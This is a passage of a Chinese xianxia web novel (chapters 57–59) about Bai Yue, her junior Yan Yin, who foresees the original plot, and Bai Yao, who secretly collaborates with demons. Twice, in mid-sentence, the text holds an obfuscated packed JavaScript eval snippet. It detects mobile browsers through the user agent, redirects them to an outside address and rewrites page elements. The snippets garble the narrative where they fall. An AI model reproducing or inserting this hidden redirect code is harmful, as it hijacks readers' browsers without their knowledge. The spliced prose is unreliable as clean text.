纠结很久,他才选定了这个折中的数字,十三。 他有点憋屈。穿越到这个世界之前,他已经快成年了,现在可好,又要重新过一遍发育关。 幸好白月也才十六,一起长大,何尝不算一种青梅竹马。 好感度的话......慢慢培养好了。这个年纪谈情说爱,太早。 跟着白月混了两个月,他肉眼可见地长胖了。 原先脸颊削瘦得可以看见骨头,俨然一株被寒冬抽干水分的枯竹。现在这节枯竹被春风吹活了,突兀的骨节裹上了温软的肌理,那是白月一口菜一口饭喂出来的——她自诩年长,总拿他当小孩看。 白月本来只想教他一些拳脚功夫,足够自保即可。不曾想言隐的野心和天赋都在她预想之上,她犯了难,不忍平白埋没了这样一个好苗子,可她真有资格替他做出这个改变人生的决定么? 要把他引到另一条路上去,需得问过他的意见。 做好了要与言隐促膝长谈的准备,可这孩子好像脑袋缺根弦似的,无论她问什么,最终话题都会扯回“我跟着姐姐就行啦”,一副乐呵呵的模样,让她有火都发不出来。 白月:“我是修士。” 言隐:“那我也当修士。” “你得有自己的想法。”白月叹了口气,“仙者长寿,可未必比凡人逍遥,我已向你说明了其中利害,不多考虑一下么?” “不选东,就选西咯,又不是多复杂的情况,哪里用考虑太久。” 白月托腮惆怅状,低声道:“主要你没有监护人......我感觉自己在拐孩子。” “这你错了,姐姐。”言隐居然反过来开导她,“从你捡到我的那一天起,你就是我的监护人了。” 白月终于没忍住跟他说了实话:“其实我......也还在被人管着,很多事情,我做不了决定。” “你可以替我做决定。”他拍胸脯保证,“我听你的。” 白月噗嗤一声笑了,本来还有些严肃的气氛陡然松快下来。 “我说的话,你都听?” “对。” “那我叫你吃青菜,你就不准吃胡萝卜。” “这个不行。” “为什么?” “你说过什么蔬菜都要吃,不准挑食。两条指令相矛盾,我只能选择其中一个。” “好吧好吧。”她耸了耸肩,反正也是瞎举的例子。 青菜和胡萝卜,言隐爱吃什么吃什么,她才懒得管那么宽呢。偶尔耍耍家长威风,逗小孩罢了。 “姐姐,今天还没有练功。昨天你说过,要教我心法。” “是吗。”她漫不经心地看了眼天色,“......可是很晚了诶,明天再练吧?” 言隐诚恳道:“姐姐说过,修行不可懈怠。” “......” 拿着鸡毛当令箭的犟小孩! 最终还是去练功了。 白月有一瞬间生出后悔的心思——她似乎给自己找了个不小的麻烦,好不容易放个假,居然在这里被迫当老师,还没有学费可拿。 心思不定间,沙哑的少年音传入她耳朵:“姐姐放心,我不是那种需要教第二遍才能学会的蠢货。” 白月不置可否地嗯了一声:“再聪明,也得循序渐进,一口吃不成个胖子。” “好的。” “对了,不准说脏话。” “我没有说脏话呀。” “蠢货。” “啊?” “不是骂你,我的意思是这个算脏话。” “......姐姐。” “怎么?” “没遇到我之前,你在空闲时间都做些什么来打发时间?没有徒弟可教的日子,想必是在行侠仗义?” 白月罕见地心虚了一下:“......嗯。” 其实大部分时间,她只是在茶馆发呆而已。 她的社会经验堪称贫瘠,两辈子加起来活了不少岁数,可要么被关在学校刷题,要么在关在里云宫修行。 怎么换钱,怎么点菜,怎么订做一身合适的衣裳......这些琐碎小事,没有人教她。幸好学起来也不难,多观察就是了。那些形形色色的过路人,都是她的观察对象。 听他们互吐家中苦水,看他们围着菜摊讨价还价......每个人脸上的表情都不尽相同。 这些人与她有着截然不同的人生,但在某个时间点,他们和她相遇了。就在这个交汇的瞬间,平行轨道上飞驰的人生列车短暂地交汇,她与对面车窗的旅客对视。 不过言隐是个例外,这个家伙自己跳下车,连人带行囊滚进了她的车厢,非要与她做同路人不可。 只是令她没想到的是,在这段不算短暂的漂泊之旅中,同路人居然还不止一个。 第二个同路人,姓昭名意。 这位下山执行任务的玉胥宗弟子,与白月相遇于夜半时分的屋檐,那时他正在追捕一只作恶的蝙蝠精。而白月只是晚上睡不着,出来看月亮。 素白窄袖劲装在月光下泛出鹤羽般的冷光,剑鞘斜压着左肩,剑穗一晃,蝙蝠精已经落在昭意手里。小东西变回原型,被塞进了收妖葫。 寂静无声中他与白月对视,后者围观了一场精彩的剑术表演,情难自禁地轻轻“哇”了一声。 啧啧,瞧这胜雪白衣,似水剑光,浑身上下都仙气的不得了,打起架来更是比她们这些用枪的优雅许多,看得白月眼馋。 白月在对面人疑惑的目光里站起身来,拱了拱手,挤眉佯装惊讶道: “这位道友,身手好生厉害,不知是哪门哪派的剑法,可否通个姓名?” 昭意笑了:“原来姑娘也是修道之人。” 后来,言隐每每想起来这回事,就悔得牙痒痒。 他想把那只蝙蝠精找出来,活刮个千百道。就因为这么一只蝙蝠精,白月遇到了昭意! 命运的推手实在太强劲了,他千防万防,终究没防住这一天。 白月出逃里云宫,已有小半年时间。这一路走走停停,本就没有明确的目的地,昭意相邀同行,她便欣然应允了。 言隐不爽的要命,可他在队伍中没有话语权,去哪里都是白月说了算,他动摇不了她的决定。 现在他还是一副半大孩子样,三人站一起,显然昭意和白月更般配。他暗戳戳比较了一下自己和昭意的身高,老天,居然差一个头还多。 他开始加倍摄入鱼肉蛋奶和蔬菜,全然忘了自己曾经对白月说过“每天只吃一顿饭”,恨不得把碗里的东西堆成小山,希望这些饭菜被吞下肚后能让他的骨头更结实,肌肉更发达,身高......早日超过昭意。 白月倒不嫌弃他吃的多,只是惊叹于他的好胃口。 “幸好我有钱。”她感慨道,“换了个人,可不一定养的起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137614|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。” 关于自己的身份,白月谎称自己与昭意一样,是带任务下山的仙门弟子。 这时候言隐就在旁边笑而不语,抿完一口茶,抬头收获了一个来自白月的眼神警告,意思是让他别多嘴。其实白月完全多此一举,他可不是那么没眼力见的人。 可这谎言实在漏洞百出,没过多久,白月忍不住主动坦白了自己离家出走的事,经她判断昭意是个信得过的老实人,在他面前可以坦诚一点。 言隐乐不出来了。 本来他还觉得这件事算是他和白月之间的小秘密,莫名有种昭意是局外人的爽快感,现在算怎么回事,短短一段时间内,她对昭意的好感似乎直线上升,难道这就是男主对炮灰女配的致命吸引力? “昭大哥,你下山执行任务,没有同门相助么?”言隐皮笑肉不笑地问。 他记得在原著这个时间点,路承蕊应该快出场了。 “自然是有的。”昭意微笑道,“她在下一个任务点接应我,很快,你们就能见到她了。” 言隐故意要诱他说出更多关于路承蕊的信息,东问一句西问一句,查户口似的。小孩的外貌优势在此刻起了作用,昭意丝毫没感知到言隐是在使心眼,老实替他解惑道: “她是位很厉害的修士,按资历算是我师妹,但实力不在我之下。” “你们关系很好吗?” “很好。” “比你和白月姐姐的关系还好吗?” 这个问题就有点尴尬了。多年的同门情谊摆在那里,岂是十天半个月的交情能比过的。 白月瞪了言隐一眼,心想这小孩情商真低,问的什么话。 没想到昭意认真思考了半天,为难道:“我对白姑娘欣赏至极,对师妹亦是情同手足,硬要分个高低的话,那可真......” “不用理言隐。”白月磕着瓜子,面无表情道,“故意为难你呢,这坏小孩。” “......哦。”昭意也没生气,脸上带着宽容的笑意,“原来是开玩笑的话吗。” 唉,言隐气闷,不说话了。昭意的宽和大度衬托得他更加不懂事,可谁又知道他的用苦良心。 他只是希望,白月能早日看透昭意是个心有所属的男人,改写她单相思的命运,终局之时......她便也不用再为昭意献出命去了。 但白月对于路承蕊这个未来的“情敌”似乎并没有表现出多大的关注度,因为另一件事夺走了她的注意力——言隐的归属问题。 都说师父领进门修行在个人,白月认为,这个领进门的“师父”人选至关重要,若选错了师父,进错了门,走错了道,天赋再高也是白搭。 她虽有天赋,可有些东西她自己会了,却不懂该如何掰碎了喂给别人。 “比起自己胡乱修炼,不如拜入仙门大宗。”白月试着询问言隐意见,“如果你有中意的去处,我可以替你引荐。” 言隐直愣愣地看着她,字正腔圆吐出三个字:“里云宫。” 白月一怔:“这个......” “姐姐,我有认真考虑过的。”言隐掰着指头数,“里云宫的心法,里云宫的枪法......这段时间以来,我学的不就是这些东西么?若转投其他门派,不妥。” 白月唔了一声,没有立即表态。但这话她听进去了,且觉得有道理。 同时她不得不直面自己的境况——里云宫是她生活了十六年的地方,离家出走这么久,潜意识里仍把那里当做自己的归处。 可她有点害怕,爹娘并没有在修仙界散播她失踪的消息,说明他们清楚,她是主动离开的,而非被谁掳走。 平静水面下酝酿着一场风暴,她不知道回去之后会面临怎样的惩罚,可能会被打断腿?这都是次要了......只是,离家越远,她越是意识到,这棵名为“里云宫”的大树,根系之深,脉络之广,斩不断,逃不脱。 在修仙界,她的前缀首先是“里云宫少主”,然后才是她自己。她的枪法、她的修为、她身上穿的手上戴的......都是里云宫给她的。 于她而言,“父母之爱”显得太缥缈,像骨头里拔不出的刺,偶尔能感受到,但摸不着。 恨里掺杂着依赖,这种感觉太糟糕了,像是把反复拧干的湿毛巾覆在脸上,窒息与喘息交替,死不了,也活不好。 白月心中的忧虑渐重,言隐有所察觉,但他不知道白月在惆怅什么。 想不通就直接问了,他从来不纠结这个。 “姐姐,你总是叹气,在想什么?” “我在想......” “嗯?” 白月犹豫了一下,似乎觉得向小孩吐苦水不太合适,但言隐追问不停,非要当这个情绪垃圾桶。 她摆了摆手:“也没什么,我就是在想,该不该回家,什么时候回家。” “不回的话会怎样。” “不知道,可能会被抓回去。” “姐姐的父母很强势?” “......很难概括,反正不是那种慈祥类型的。” “他们会打你吗?” “会。”白月笑道,“但有人在的话就不会。” 言隐沉默了片刻,偏头看她:“姐姐,我有个法子。” 白月没指望他真的能给出解决办法,但还是很给面子地接了句:“说说看?” “等你成为宫主,他们就不敢再打你了。” 不知道是不是这句话起了效果,总之,在一个薄雾蒙蒙的清晨,白月在窗边吃着早饭,面无表情地宣布,自己的离家之行结束了。 顺便,她要带言隐回去,给他“上户口”。 58. 第 58 章 出乎言隐的意料,白月还没有跟路承蕊打过照面,就要回里云宫了。 这和原书情节出入太大,炮灰女配脱离主线,后续会如何发展,言隐自己也说不准。 不过总归是好事。白月和昭意的交集少了,说不定就能避开那个必死的结局。她没有选择继续跟着昭意上路,是否也说明,他在她心里没有那么重要呢? 言隐很好奇,如今在白月这里,昭意是个什么定位。不过他没有立场问,只能继续扮演乖巧弟弟的角色,好歹不会被她从身边赶走。 白江和程红玉迎回了许久不曾归家的女儿,反应却平淡得出奇,仿佛一早就料定了她会回来。“离家出走”是小孩子才玩的把戏,女儿才十六岁,离了里云宫如何立足? 但白月的反抗并不是一点效果没有,至少白江和程红玉意识到自己的教育方式出了大问题,女儿没有像预想中那样成为一柄可以随心驱使的利刃。 挨了顿鞭子,白月一言不发地回到房间,给自己上药。她安慰自己,人生还很长,不要自怨自艾。 不论怎么说,言隐总是站在她这边的,好过从前孤身一人。 此后一连三年,白月都没有再见过昭意。 家里为她规定了“游历修行”的路线,她满口答应,实则转眼就抛之脑后,反正腿长在自己身上,只要任务完成了,想去哪里别人管不着。 这已经是她为自己争取到的最大限度的自由,言隐托她的福,也能趁机出宫喘口气——她指名道姓,要言隐做自己修行路上的同伴兼帮手。 这时候的言隐约莫有十五岁了,身形拔高,脸颊上的婴儿肥消退,线条变得凌厉了些。声音介于少年音和青年音之间,清亮里掺着沙,像是浸了山泉的碎玉。 “师姐,这次又到哪里去执行任务?”他兴冲冲地问。 “十燕城。”白月倚着蓄风枪,翻看任务卷宗,“听说那里有妖魔作祟。” 唉,十燕城。言隐心想,那可不是个好地方,原书中那里发生过好几次妖魔暴动,钦天监力有不逮,最后发现是组织内部混入了妖族奸细...... 受系统所制,他不能向书中之人透露剧情。不过他本来也没想管那么多,按照原书情节,最后会是修仙界大获全胜,倒霉的只有一个白月而已。 保住她就够了。 “师姐。” “怎么。” “我感觉这次会很危险,你一定要保护好我,不要离开我身边。” 白月弹了他一个脑瓜崩:“几年了,这方面怎么还是没长进,我早说过,打得过就打,打不过就跑。任务之中,单独行动的情况难以避免,到时别乱了手脚就是。” “可是我修为低微......” “别怕,有我兜底。”白月把蓄风枪往肩上一扛,“若真遇到危险,我自然不会弃你于不顾。” * 潮湿的巷子里,白曜缠满绷带的手推开了酒肆木门,深吸了一口新鲜空气。 十燕城的梅雨季节总让他小臂发痒,那些藏在绷带下的鳞片会在湿润的水汽中翕动。 凡人家酿的酒,不够好喝,买醉却是够了。 他摇摇晃晃地走出门来,余光闪过一抹雪色。他条件反射地往那方向看了一眼,突然僵在原地。 一个白衣姑娘,身后跟着一位青衣少年。他们看起来年纪都不大,气质却格外出尘。 少年人清亮的嗓音隐隐穿透雨幕:“师姐,这次妖患的线索在城隍庙,那我们......” “现在人多,晚点再去。”白衣姑娘显然是带头的那个,拥有更高话语权。 白曜苦笑了一声,侧身又躲回酒肆内。这两个人周身清气萦绕,气度不凡,必是修道之人。结合当下境况来看,大概是里云宫派来执行此次任务的弟子。 按照宗门的指示,他应该和那两个人合作,捉拿妖物。 可是那张脸跟他很有几分相似。或许是血缘起了效力,他见到她的第一眼,就猜测......不,是笃定,那个小姑娘,是他一母同胞的妹妹。 里云宫少主,白月。 雨丝变得更加绵密,白曜坐回原桌,让小二再去温一壶酒。 这小二的吆喝声和碗筷杯壶的碰撞声中,他走了神,思绪渐渐飘远。 一年前,他在运功时走火入魔,损了根基,修为再难寸进。对于一个修士来说,这无疑是毁灭性的打击。 露叶连长老说他心思不纯,杂念太多——修仙之人最忌这个。 好在还能吃老本,当个普通弟子,收点小妖小怪,够格了。 但他不甘心。他的天赋本可以帮他走向更高,更耀眼的地方。 现在却只能在这些无聊琐碎的任务之间奔走。 想起那日,他躲在玉胥宗后山练剑,隔着石孔看到路承蕊与昭意切磋。两道剑光如同交颈的鹤,当啷一声,昭意的剑被挑飞插在他藏身的石缝前。 路承蕊收剑,眉梢眼角露出得意之色:“今日,是你逊我一筹。” 白曜慌忙缩进阴影,看着昭意笑着替师姐拭去额间细汗。 师姐很好,机敏,漂亮,强大。她不似昭意那般虚伪,很多时候,她并不介意袒露自己的欲望。 偶尔算计起师弟师妹兜里那几个子儿,她就会显露出狡猾的一面——眼尾微微眯起,像只盘算着偷厨房腊肠的小狐狸。不过她的伎俩并不常常有效,有时还反被师弟师妹们坑走几块灵石。 白曜曾经远远地观望着她,有信心自己有一天可以与她比肩,至少从实力上。 现在他不再做那种无谓的幻想了。 如果有人掀开他的绷带,就能看见他小臂内侧有鱼一样的鳞片,这是他妖化的症状。 露叶连长老曾在他根基受损后开导他,世上的路并非只有一条可走。 本意大概是为了安慰他,不必有多高的追求,当个普通修士也可以,将来在灵田里侍弄药草,书阁内整理卷宗......修仙界总有他一席之地。 可他却因为那句话生了别样的心思,在一次任务中鬼迷心窍,没有将捉回的小妖收入法器,反而大着胆子,剖出了它的妖丹。 他曾在某部禁书中看到过一种秘法,说人族修士并非只能吸纳灵气,妖气亦可辅助修行。 抱着试一试的心态,白曜吸收了那颗妖丹。当时他心慌意乱,没有意识到自己走上了怎样的一条歪路。 他只知道,停滞的修为似乎真的有所松动。新生的力量在经脉中游走的感觉,让他又惊又喜。 在那之后,他又猎杀了不少妖怪,每一只都剖出妖丹,为己所用。久而久之,那可怖的副作用便显现出来了——他身上竟然呈现出非人族的特征。 于是他暂时停止了猎妖行动。 这次被安排到十燕城做任务,他本来没想再节外生枝的。可是昨日一只豹妖主动找上他,居然提出要谈条件。 那是只有着五百年修为的大妖,他不是对手。 豹妖化作一斯文秀士模样,看起来比他还像人。 秀士折扇一开,遮住半张脸:“小友,火气别那么大。我这儿有桩只赚不赔的买卖,你做不做?” 豹妖没想真的询问白曜意见。 它希望白曜能成为妖族的“线人”,言语间表示,他不需要做太多,以后修仙界若有什么动作,他报个信儿即可。 看似商量,实则要挟,只要白曜答应,便可相安无事。若白曜不允,它便要向仙门揭露他的恶行—— “剖妖丹,修邪法,这不该是正派弟子所为吧?” 豹妖威逼利诱,软硬兼施,声称只要白曜点个头,他们就是盟友了。将来白曜不必再猎妖取丹,它自会将族中那些不成器的小妖,作为礼物奉上。 “客官,您的酒。”小二的声音打断回忆,向白曜送上一壶温好的酒,一碟炒花生。 白曜倒满一杯,一饮而尽。他心中的忧烦与妒火交织,凭什么自己陷入如此两难境地,胞妹却逍遥快活,还能有小白脸作陪。 可恶,可恶。为何要将十燕城这个任务指派给他?难道上面那群老东西不知道他与白家的关系吗? 让他和里云宫的人合作,无疑是一种羞辱。 半醉之间,有人在桌上扔下一锭银子,替他付了酒钱。 他迷迷糊糊地抬头,鼻尖闻到了凛冽的寒气。来者一袭黑衣,半张脸被青铜面具覆住,看不清神色。 “白曜。”那人平静无波的声音响起,居然是在叫他的名字。 他从没见过这个奇怪的女人,不过后来他知道了,这位是钦天监的监正,花梁燕。 花梁燕性子淡漠,待他倒是很够意思,付完酒钱,又说已替他安排好了住处。一路护送醉鬼回客栈,妥帖极了。 单凭他们之间的交情显然不值得花梁燕做到如此地步,况且她本来也不是热心肠的人。之所以对白曜另眼相看,是因为她得了露叶连的授意——对这个损了根基的后辈,要格外照顾一些。 这很稀奇。自打她做了监正以后,露叶连从没有主动联系过她,难得来信,居然是让她帮忙关照一个年轻人。 花梁燕捏着白曜的鼻子给他灌下去一碗醒酒汤,见他眼神清明了,才慢慢道: “我以为,如此受归虚长老青睐的弟子,就算不是人中龙凤,也该是庸中佼佼,至少不会抛下任务不管,独自在酒肆找醉。” 白曜一脸迷茫:“你谁?” “我是当今监正。”花梁燕冷冷道,“也是你这次任务的接引人。” 一个秘密——她和玉胥宗的归虚长老曾以师徒相称,上一任监正,就是露叶连本人。 从这一层来看,她或许算白曜半个师姐。 但这事儿她并没有告诉白曜。 钦天监是介于修仙界与世俗界之间的独立机构,明面上不偏向任何一方。作为平衡两界的沟通桥梁,不该有太明显的个人立场。 既然是任务相关人士,白曜便拿出公事公办的态度,道过谢,寒暄了几句之后,他心中揣度:这女子嘴上不饶人,但应当是面冷心热,否则不会做这些多余的事。 他试探着提出要求: “监正,这次任务......我能不能单独行动?” “理由?” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15224270|150972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想跟里云宫那两人一起。” “可以。” 白曜有点吃惊。没想到自己的要求这么容易就被满足,心中准备的一兜子车轱辘话都还没派上用场。 殊不知监正只是顺水推舟罢了。里云宫那边有个叫言隐的小辈,早就找过她,明确表达过“不想跟玉胥宗修士合作”的念头。 虽然不知两拨人为什么都这么抗拒对方,但花梁燕无意涉入私人恩怨,更懒得从中调停。 这次任务由钦天监牵头,大家分头行事便是。 白月与言隐在城隍庙蹲了两天,什么也没蹲到。 看来守株待兔这招不行。 他们正准备换条路子,却被监正告知,此次作祟的妖族元凶及其同党已被剿灭,任务结束了。 白月满脑袋问号。还没来得及大展身手,就躺赢了? 听闻此次与他们一同执行任务的还有一位玉胥宗修士。在他们围着城隍庙绕圈圈的时候,人家已经把事情解决了。 但这位仙友的手段着实粗暴了点,监正赶到事发现场时,只见数道黑影正被阵法绞杀,光芒熄灭后,只剩满地符灰和妖怪尸骨。 原本的计划是活捉这群妖物,现在这个结果出了点偏差,不过问题不大。监正对于这些无端害人的妖物向来是不肯抱有同情心的,只是白曜坏了规矩,她少不得在玉胥宗任务卷宗中参他一笔。 白月想去拜访一下这位合作伙伴,却被告知,那人已经在回宗的路上。 真是雷厉风行啊,她感叹。 晨光熹微,白曜裹着斗篷,在林中独行。 那道诛妖法阵,不过是配合豹妖作秀罢了,死的都是无关紧要的小角色。它也知道自己之前的行动高调了些,此举效仿壁虎断尾,是为保全自己。 白曜手中捏着个青瓷瓶。瓶口黏着一丝暗红血渍,里面是十颗新剖的妖丹。 豹妖之所以给了他这笔不菲的报酬,不光是因为他在这次行动中帮忙打了配合,还因为他替妖族牵头,向花梁燕引荐了一位擅长占星卜卦的散修。 那散修是人类不假,却是站在妖那一头的,约等于妖族安插在钦天监的卧底。 白曜原本只是按要求办事,没想过真的能成。那散修的确有几分本事,能让花梁燕动了爱才之心。而且,不知出于什么原因,花梁燕好像对他格外信任。 此刻他心头烦乱,但开弓哪有回头箭,若向花梁燕坦白一切,他自己也讨不了好。只希望那豹妖能讲点信用,将来别把他给抖落出去。 视线在那青瓷小瓶上停留许久,他才仿佛下定了决心似的,拔开瓶塞。 袖口微缩,露出腕间缠绕的绷带。他一仰头,不管不顾地将十颗妖丹尽数吞下,喉结滚动,丹药碎渣同其中蕴含的妖力一并进了肚子。 这些妖丹经过特殊处理,失了活体生气蕴养,依然存有效用。 很快他就为自己的冲动之举付出了代价,浑身的力气瞬间被抽走,勉强靠着树干才没有倒下。仿佛有一团火焰顺着四肢百骸蔓延开来,烫得他骨头都要化掉。 他吐出一口鲜血,缓缓盘坐在地,运起内力。 这一次,应该要花很长的时间来吸收。 * 白月的快活日子结束了。 不知从什么时候开始,凡界妖患频发,她能自主支配的时间也越来越少,不是在剿妖,就是在剿妖的路上。 其他仙宗也一样,大批大批的弟子被派下山去,治理妖患。凡人与修士是命运共同体,天然站在同一阵营,若凡界要塞失守,大片土地被妖魔占去,对于修仙界亦是一种威胁。 无可避免的,白月和言隐待在一起的时间变少了。他们都是年轻一辈中的能力佼佼者,许多时候,需要由他们各自带队去执行任务,以免战力分配不均。 掐指一算,这是言隐与白月相遇的第九年。 言隐终于长到了自认为靠谱的年纪,待要对白月展开一番追求,却发现自己的师弟定位有点太深入人心。 过去几年在白月心中烙下的刻板印象绝非一朝一夕可以扭转,他深感道阻且长。 值得欣慰的是,在这几年中,他凭借自己出色的天赋,地位水涨船高,一跃成为宫主亲传弟子。 程红玉看他的眼神格外满意,有预感此人会是女儿将来的得力助手。 如今,白月在里云宫中已经有了相当程度的话语权,戒鞭的滋味,她很久没尝过了。 两年前,白江和程红玉参与了一场针对大妖的围剿行动,那妖走投无路,被激发了凶性,宁死也不愿被封印在一只盒子里,成为修士袖中一个毫无尊严的物件。 存着死也要拉个人垫背的心思,那大妖冲向白江夫妇,要与他们同归于尽。 白江和程红玉在封印术的领域是一把好手,正面对拼却不是强项。即便如此,凭借深厚内力化显出的护体灵盾,他们仍然顶住了这困兽一击。 只是难免落下伤病,不比从前了。 两人的身体状态每况愈下,死是死不了,可已经没有足够的精力去管理繁琐宫务。在这样的情况下,他们不得已开始逐渐放权给白月。 59. 第 59 章 那是白月第一次见到父母的苍老之态。里云宫曾经的两位顶梁柱靠在丹炉房门口喝药时,白月就站在门外的雨幕中,无声地注视着他们。 这是一个相当不好的信号——父母不再强势了,不再对她横眉竖眼,不再插手她的修行,甚至把自己脆弱的一面就这样大喇喇摊开,摆在白月面前。 白月不知自己该喜还是该忧。从前,他们惯爱用父母的威严来压她,将她所有不合父母心意的行为视作忤逆。 戒鞭划破空气的声音,是她最为熟悉的。 父母对孩子有天然的压制力,他们曾经是她面前那座不可逾越的大山,遮天蔽日。 而现在山塌了,她却迷茫起来。 言隐举着伞靠在她身侧,突然轻笑:“等师姐当上宫主,举行继任大典那天,千万别请玉胥宗的人。” 这句话来的没头没尾,白月怔了一瞬,将思绪从回忆中抽离,转而去思考言隐的话。 “为何?”她没想明白。 “他们剑修总爱说‘枪乃百兵之奴’。”言隐用伞柄敲了敲自己后背的银枪,“上次论道大会,有个玉胥宗弟子指着我的枪说,这种笨重兵器只有莽夫才用......” 白月笑道:“那是他输不起,故意拿话刺你。” “我不管。”他尾调拉长,“师姐,我不喜欢玉胥宗的人。” “好好,那就不请他们......唔,但那样会不会太得罪人了,要不,只请两个代表?” 白月丝毫没察觉到自己这副做派像极了被宠妃迷惑的昏君,竟然当真思考起言隐这番话的可行性。 “请他们宗主来就行了。”言隐给出方案,“难道宗主还不够格代表他们全体人员么?大弟子二弟子之类,都靠边。” “可以。”白月将伞从他手里接过来,在他耳边低声道,“不过,那一天可能还远着呢,别着急。” 言隐瞬间严肃:“我明白,要低调。” 他们方才的聊天内容过于张狂,像极了父母还没死就开始盘算遗产的二世祖,不妥,不妥。 白月说的没错,她现在还太年轻了,肩膀不够硬,担不起里云宫的担子。但修仙之人最不缺的就是时间,她有无数个机会去磨练自己,使自己变得更完美。 这机会不需要她去寻找,就会自己送上门来——任务卷宗堆得都快放不下,凡间妖魔肆虐,她不得不常驻宫外,很少回家。 这次回来,也只是为了交接卷宗,前往下一个任务目的地。 气运加身的国君似乎格外受妖物觊觎,此次遭殃的又是十燕城,那个姓周的皇帝被邪祟入梦,折磨得奄奄一息。后边被钦天监查出,幕后操纵者是鲁国皇室豢养的驭鬼人。 钦天监只好分派人手去鲁国探明情况,在此期间,作为外援的修士们便留守城中,以应对可能出现的妖患。 到了十燕城城,白月带着自己这边的人,同玉胥宗几名弟子汇合。先是在城周巡查了一圈,果然揪出几只蛰伏在此的小妖。 白月率先出手,脚尖点地瞬闪到狼妖身前,将符咒拍在它额间。待它显出原形,再将它收入法器。 身后枯枝忽然发出细响。她猛地回头,以为还有妖类同党,可当她旋身刺出袖中剑,只惊飞几只寒鸦。 并没有妖气。 那种被注视的感觉却萦绕不去。她天生对别人窥探的视线有种超乎常人的敏锐,直觉通常不会出错。 但近几年来,她不止一次,在任务途中,甚至在里云宫内,都能察觉到身旁有一道追随着自己的目光,像粘腻的雾气,缠绕在她周围。 可当她要仔细搜寻的时候,那道雾气却散掉了,怎么也摸不着。 白月倒希望是因为自己神经过于紧绷,才产生如此错觉。 待要深思时,同行修士的叫喊声响起,夺走了她的注意力。她不得不暂时将这事搁置一旁,走进狼妖之前栖身的石洞。 她的同伴们正在里头净化妖气,意外发现了角落里缩着两个被捆成粽子的人。 那两人一看就是被妖怪掳来的,若非营救及时,怕是马上就要成为口粮。 离得最近的一位修士已主动上前,替他们解了绑。一番交谈,才知两人是十燕城中小有名气的商行老板,出城谈生意的路上,被妖怪截到了这儿来。 两人有问必答,十分配合,可互相交叠的手出卖了他们的慌张。经历了这一番祸事,回去怕是要连做几宿噩梦。 他们举止亲密似夫妻,衣饰有些凌乱,此时被修士们围在中间,眼神有些不知所措。作为年长者,他们一点也不敢摆长辈架子,反倒微微佝偻着腰,一口一个道长的叫着,语气几近讨好。 白月忽然生出一种不舒服的感觉,走上前去,不着痕迹地挤开那一圈人。 “此地荒凉偏僻,不好寻路。不如我送你们回去,省得路上再出意外。”她眸光一转,“对了,不知二位怎么称呼?” “道长,我叫萧吟山。”男人连忙道,“我内人叫云婉。” 她点点头,也报出自己的名字:“我叫白月。” “白道长送我们回城,感激不尽。” 白月张了张嘴,想说不用这么客气,直接叫名字就可以,毕竟在他们面前她才是小辈。不过想想,他们的交集也就这么多了,没必要故作熟稔,爱叫什么叫什么罢。 她沉默着将夫妻俩送回了家,又受邀进去喝了杯茶。 府内颇显冷清,与她想象的不太一样。 似乎看出她的疑惑,云婉主动解释道:“我......身子不大好,多年来未曾孕有子嗣。府里若是有个小娃娃,就热闹多了。” 萧吟山不赞同地道:“我们两个这样也很好。” 对于别人的家事,白月没有多加置喙。这时候说什么都不太合适,干脆低头喝茶。 小口小口啜完杯中的茶,又坐了一阵,她才起身道:“萧先生,云夫人,多谢款待,我......这便走了。以后再出城,尽量走大路,会安全些。” 临走前,她还送了他们几个辟邪的小玩意儿。 她很少有对陌生人这么上心的时候。但这夫妻俩瞧着实在面善,一眼就能看出是那种善良本分的老实人,白月对他们挺有好感,希望他们以后不要再碰到坏事。 傍晚,她同其他修士在客栈汇合。 谁也不想回房睡觉,一群人就这么聚在大堂,问小二要了几壶桂花酿。喝酒之余,还能聊聊天。 白月偶尔插句嘴,但大部分时候只是安静听着。 她听到一个玉胥宗的圆脸女修长吁短叹:“白师兄上个月下山之后就失踪了,魂灯没灭,但不回信,也找不着人。” “唉,这节骨眼失踪,修仙界又少一份助力。”有人跟着叹。 白月忍不住问道:“你说的白师兄是......” “是白曜。这人虽然不大好相处,做任务是很勤快的......在座应该不少人跟他组过队。啊,三年前剿灭千足蜈蚣那次,白姐姐,你也见过他的。” 白月想了想:“是戴着面具的那位?” “是他。"旁边男修压低声音,"听说染上妖毒破了相,硬生生削掉脸上一块骨头,才把那毒清出去。” 白月了然,想来这就是他戴面具的原因了。 说话的那位男修对白月颇有好感,还想与她多说些话,见她没有要继续交谈的意思,便把凳子往她的方向挪了挪,继续道:“白姑娘,你不知道,有件事,跟你也有关。” “我?”白月的回忆里,自己跟白曜并没有打过太多交道。 “那人原来不叫白曜,叫东生。破相之前,长得跟你有几分相似......不过只是几分而已,远不及你花容月貌。可是,就凭着这几分相似,他竟然想跟白家攀亲戚,还把姓改成白......自己的名字都不要了!” 白月有些吃惊,玉胥宗的人跟白家攀亲戚做什么。怕不是这男修在胡说?上次见面,白曜对她一点也不热络,如果要攀亲戚,不该讨好她么? 改名或许只是觉得原来的名字不好听,大家都喜欢给自己取个好听的名儿,她能理解。玉胥宗的八万春长老,不也没用本名吗,听小道消息说,长老原名叫郝铁锤来着。 这个话题到此为止。见白月一副兴趣不大的样子,那男修便也没再热脸贴冷屁股,转而找别人说话去了。 白月百无聊赖地转着酒杯。 